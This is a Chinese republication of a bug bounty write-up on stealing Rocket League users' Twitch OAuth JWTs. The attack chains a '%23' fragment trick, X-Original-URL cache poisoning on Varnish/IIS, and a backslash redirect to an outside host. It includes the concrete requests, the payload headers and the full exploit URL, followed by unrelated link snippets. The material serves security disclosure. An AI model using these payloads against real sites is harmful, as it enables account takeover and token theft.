《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

本文主要是介绍《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

《火箭联盟》是一款由美国独立游戏工作室Psyonix开发的网络游戏。该游戏一经推出即在海内外获得好评无数,玩家数屡创新高,截至目前全球玩家数超过3000万;

由于在过去的几年中,漏洞披露和漏洞赏金计划的使用已大大增加。现在,奇热这些计划几乎可以很容易地报告日常用户的安全漏洞,并快速发布关于安全报告处理的信息。

在《火箭联盟》上寻找到的漏洞

当黑客破解游戏时,他们总是首先关注的是游戏在网络层面的接口。其次,攻击者还要擅长逆向工程和调试应用程序,这些技能在黑客破解游戏时是很有价值的技能。但如果游戏不与网站对话,则黑客也将很难破解它们。

对于黑客来说,只要遵循以下任一教程,就可以通过在Wireshark中解密SSL流量,这样就很容易检查是否通过HTTP发送了任何内容:

1. SSL解密指南:如何使用Wireshark /解密SSL;

2. 使用Wireshark解密SSL / TLS流量;

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

在Wireshark中拦截HTTP流量的一个示例

根据我的经验,我更喜欢使用Wireshark拦截来自桌面应用程序的流量,因为使用Burp Suite和系统代理并不可靠。

遗憾的是,游戏没有通过HTTP或HTTPS发送任何数据,因此我决定切换路线,并尝试找到可以在线修改/查看有关用户游戏帐户信息的任何位置。

不过,在我浏览《火箭联盟》的网站时,并没有发现网站上提供有关是否存在在线帐户管理或类似功能的任何即时信息,因此我做了一些搜索,试图找到可以进入账户的方法。

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

没有登录/注册,没有排行榜,与实际游戏客户端之间没有提取或共享太多信息

功夫不负有心人,我终于找到一个适用于《火箭联盟》的可用API,不过需要特殊访问权限,用于管理Twitch奖励的“奖励”登录,以及用于连接游戏中帐户和Twitch帐户的Twitch登录。Twitch是一个面向视频游戏的实时流媒体视频平台,2011年6月由Justin Kan和Emmett Shear在旧金山联合创立,是Justin.tv旗下专注于游戏相关内容的独立运营站点。

我尝试攻击的第一件事是Twitch登录,因为他们正在使用的是OAuth,整个过程将非常有趣。

《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了

通过《火箭联盟》 Twitch登录,用户可以链接其Twitch和Steam帐户

以下HTTP请求/响应将在用户登录后请求用户身份验证令牌,并使用JWT将其转发到白名单的URL中……

请求:

GET /out?type=p&platform=twitch&return_to=https://www.rocketleague.com/&user_url=&error_url= HTTP/1.1
Host: oauth2.rocketleague.com
Cookie ...

响应:

Location: https://www.rocketleague.com/?jwt=header.payload.signature

随后,他们将使用返回的令牌通过其Steam和Twitch帐户对“www.rocketleague.com”进行身份验证。

于是我试了好几个小时,但没有任何结果。一些有趣的发现是,你可以使用任意的URI处理程序,但是随着Web浏览器的发展,除了重定向和呈现“javascript”和“数据”之外,因此,没有任何简单的技巧可以在令牌之外的任何现代浏览器中窃取令牌MITMing HTTP请求。

第二个发现是你可以提供“%23”,该名称将在路径末尾转换为“#”。就像我们有一个开放的重定向一样,这很有用,例如在www上,我们可以通过在攻击者网站上使用JavaScript解析“#?jwt =”值来窃取该值。如果我们尝试使用基于HTTP参数的开放重定向来窃取此文件,则该值将不会附加为“&jwt =”,并且无法访问它。比如以下格式……

GET /?openRedirect=https://www.attacker.com/&jwt=secret

在另一个主题上,白名单很难。一些最难破解的URL过滤器只是对字符串进行检查的过滤器,例如……

URI + "://" + domain + "/"

记住千万不要进行任何的URL转换,否则就会出现意想不到的后果。

进行HTTP缓存攻击

于是我改变了方法,并在与“www.rocketleague.com”会话时开始对真正的HTTP请求正文进行混淆。我这样做的原因是因为我已经探索了“www.rocketleague.com”上的大多数可用路径,并且确实想找到一种窃取用户令牌的方法。

如果能够找到类似打开重定向的内容,则可以简单地将用户重新转发到另一个URL,然后从该URL中提取其令牌。

通常,对于静态/基本应用程序,除了HTTP参数和请求文件之外,还有一些有趣的被忽略的功能。诸如X-Forwarded-For,HTTP请求走私标头以及经过修改/可猜测的cookie之类的内容可以提供很多有趣的交互。

当我意识到该应用程序容易受到HTTP缓存攻击的影响时,我已经花了一个小时的时间。

我最初发现此错误是因为我注意到每个HTTP响应都有以下标头……

Age: 55486
X-Cache: HIT, HIT
Via: 1.1 varnish

· 时间:HTTP请求被缓存的时间(以秒为单位);

· X-Cache:当响应“HIT”时,表示“由CDN提供服务”;

· Via:当它响应“*.* varnish” 时,我们可以看出它使用了Varnish代理。

Varnish是一个高性能的代理缓存服务器,它是一个反向代理服务器,同时也是开源软件。Varnish的稳定性很高,访问速度更快,Varnish采用了“Visual Page Cache”技术,所有缓存数据都直接从内存读取。另外,Varnish可以支持更多的并发连接,因为Varnish的TCP连接释比较快,因而在高并发连接情况下可以支持更多TCP连接。Varnish可以通过管理端口,使用正则表达式批量的清除部分缓存。Varnish是通过fork形式打开多进程来做处理,所以是合理的使用所有核来处理相应的请求。

当然,Varnish也是有缺点的:

1. varnish进程一旦Hang、Crash或者重启,缓存数据都会从内存中完全释放,此时所有请求都会发送到后端服务器,在高并发情况下,会给后端服务器造成很大压力。

2. 在varnish使用中如果单个url的请求通过HA/F5(负载均衡)每次请求不同的varnish服务器中,被请求varnish服务器都会被穿透到后端,而且同样的请求会在多台服务器上缓存,也会造成varnish的缓存的资源浪费,也会造成性能下降。

你可以使用“ X-Original-URL”标头任意定义任何路由的URL映射,这可以通过发送以下请求来验证……

请求:

GET /?uniqueParameter=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: /this-will-return-404

响应:

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
...

我们可以确定服务器标识了“ X-Original-URL”标头,因为我们知道(1)GET /通常将返回“ 200 OK”,并且(2)GET / this-will-return-404通常将返回“404 Not Found”。

通过在URL中定义“uniqueParameter”,我们可以安全地猜测内容将不会被缓存,因为没有人在分配的缓存时间内请求该资源。也可以提供一个唯一的路径,例如/uniquePath/,我们可以确定相同的事情。

现在,只要有人在缓存过期之前,在分配的时间范围内加载“GET /?uniqueParameter=1” ,它就会尝试加载“GET /this-will-return-404”。

此功能很简洁,但是与此相关的一些直接问题则很无聊。你可以通过将某些用户重定向到不存在的资源,破坏资源并进行其他一些普通的攻击来拒绝其访问该资源。

利用HTTP缓存攻击的有趣之处在于找到一个开放的重定向或某种方式让它为你的内容提供服务,如果应用程序正在“main.js”中加载,你可以重写该代码以将其加载到你的代码中吗?

利用HTTP缓存攻击

下面,我要尝试的第一件事就是让“X-Original-URL”成为一个值,当重定向到该值时,它将带用户使用外部资源。试图做以下的事情:

X-Original-URL: https://attacker.com/

如果无法正常工作,则是因为服务器(IIS)删除了主机部分,并试图加载相同站点的资源。现在除非我开放重定向,否则它很可能无法利用。开放我重定向后,我可以滥用开放重定向来窃取JWT。

由于我没有将其作为常规路径传递(在初始GET…字段中),所以可以使用通常无法使用的控制字符吗?如果是这样,有什么办法可以形成一个有效的外部URL?

我在该IIS实例中特别注意到的一些行为是,每当你连续提供两个正斜杠时,它将仅重定向到一个正斜杠。我不确定为什么会这样,或会造成什么特别的影响,但我猜它是为了防止打开重定向通过“GET //redirectmehere”和绕过“GET //admin”。

我尝试了以下方法:

X-Original-URL: test//test\

幸运的是,它返回了以下内容:

Location: test/test\

我们可以使用反斜杠,也可以使用正常字符开始URL,最后可以使用两个斜杠相邻来触发重定向。这些都可以组合在一起,以重定向到外部资源。我将所有内容组合在一起,并发送了以下内容……

请求:

GET /?pleaseWork=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: https:\\samcurry.net/please//work

响应:

Location: https:\\samcurry.net/please/work

如果你还不知道这一点,那么大多数浏览器都会接受“https:\\”作为位置重定向中URL的有效序言,资源 “?pleasework=1”现在将重定向到我的域。

总结

通过滥用所有单独的问题,我们现在可以完成以下操作:

1. 将受害者重定向到我们攻击的“www.rocketleague.com”URL,以“#jwt = theirSecret”结尾;

2. 使用我们的恶意URL将用户重定向到我们的域,从而转发“jwt=theirSecret”;

3. 在URL中使用JWT登录到他们的帐户,因为它还没有被使用。

如果一个用户在过去已经通过了《火箭联盟》的认证,他们只需加载以下URL就可以让他们的账户被盗:

https://oauth2.rocketleague.com/out?type=p&platform=twitch&return_to=https://www.rocketleague.com/?hacked=1%23&user_url=&error_url=

首先他们将被重定向到:

Location: https://www.rocketleague.com/?hacked=1#&jwt=secret

然后再次被重定向到:

Location: https:\\samcurry.net/*
* the browser would append #jwt=secret since it's a client side, JavaScript accessible value

现在我可以通过使用被盗的JWT加载以下常规功能来访问用户帐户:

https://www.rocketleague.com/tpnemesis/auth-login?jwt=secret

以上说的一些概念可以应用于常见的OAuth和缓存攻击,本文所讲的只是一个可以将所有内容组合在一起的独特实例,但是独立地利用每个阈值对于针对特定资源的不同攻击是有好处的。

这篇关于《火箭联盟》游戏迷要小心了!已有攻击者滥用HTTP路径正常化和缓存来窃取你的账户了的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/779009

相关文章

hdu2544(单源最短路径)

模板题: //题意:求1到n的最短路径,模板题#include<iostream>#include<algorithm>#include<cstring>#include<stack>#include<queue>#include<set>#include<map>#include<stdio.h>#include<stdlib.h>#include<ctype.h>#i

缓存雪崩问题

缓存雪崩是缓存中大量key失效后当高并发到来时导致大量请求到数据库,瞬间耗尽数据库资源,导致数据库无法使用。 解决方案: 1、使用锁进行控制 2、对同一类型信息的key设置不同的过期时间 3、缓存预热 1. 什么是缓存雪崩 缓存雪崩是指在短时间内,大量缓存数据同时失效,导致所有请求直接涌向数据库,瞬间增加数据库的负载压力,可能导致数据库性能下降甚至崩溃。这种情况往往发生在缓存中大量 k

poj 1734 (floyd求最小环并打印路径)

题意: 求图中的一个最小环,并打印路径。 解析: ans 保存最小环长度。 一直wa,最后终于找到原因,inf开太大爆掉了。。。 虽然0x3f3f3f3f用memset好用,但是还是有局限性。 代码: #include <iostream>#include <cstdio>#include <cstdlib>#include <algorithm>#incl

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

如何确定 Go 语言中 HTTP 连接池的最佳参数?

确定 Go 语言中 HTTP 连接池的最佳参数可以通过以下几种方式: 一、分析应用场景和需求 并发请求量: 确定应用程序在特定时间段内可能同时发起的 HTTP 请求数量。如果并发请求量很高,需要设置较大的连接池参数以满足需求。例如,对于一个高并发的 Web 服务,可能同时有数百个请求在处理,此时需要较大的连接池大小。可以通过压力测试工具模拟高并发场景,观察系统在不同并发请求下的性能表现,从而

easyui同时验证账户格式和ajax是否存在

accountName: {validator: function (value, param) {if (!/^[a-zA-Z][a-zA-Z0-9_]{3,15}$/i.test(value)) {$.fn.validatebox.defaults.rules.accountName.message = '账户名称不合法(字母开头,允许4-16字节,允许字母数字下划线)';return fal

【408DS算法题】039进阶-判断图中路径是否存在

Index 题目分析实现总结 题目 对于给定的图G,设计函数实现判断G中是否含有从start结点到stop结点的路径。 分析实现 对于图的路径的存在性判断,有两种做法:(本文的实现均基于邻接矩阵存储方式的图) 1.图的BFS BFS的思路相对比较直观——从起始结点出发进行层次遍历,遍历过程中遇到结点i就表示存在路径start->i,故只需判断每个结点i是否就是stop

Android Environment 获取的路径问题

1. 以获取 /System 路径为例 /*** Return root of the "system" partition holding the core Android OS.* Always present and mounted read-only.*/public static @NonNull File getRootDirectory() {return DIR_ANDR

Anaconda 中遇到CondaHTTPError: HTTP 404 NOT FOUND for url的问题及解决办法

最近在跑一个开源项目遇到了以下问题,查了很多资料都大(抄)同(来)小(抄)异(去)的,解决不了根本问题,费了很大的劲终于得以解决,记录如下: 1、问题及过程: (myenv) D:\Workspace\python\XXXXX>conda install python=3.6.13 Solving environment: done.....Proceed ([y]/n)? yDownloa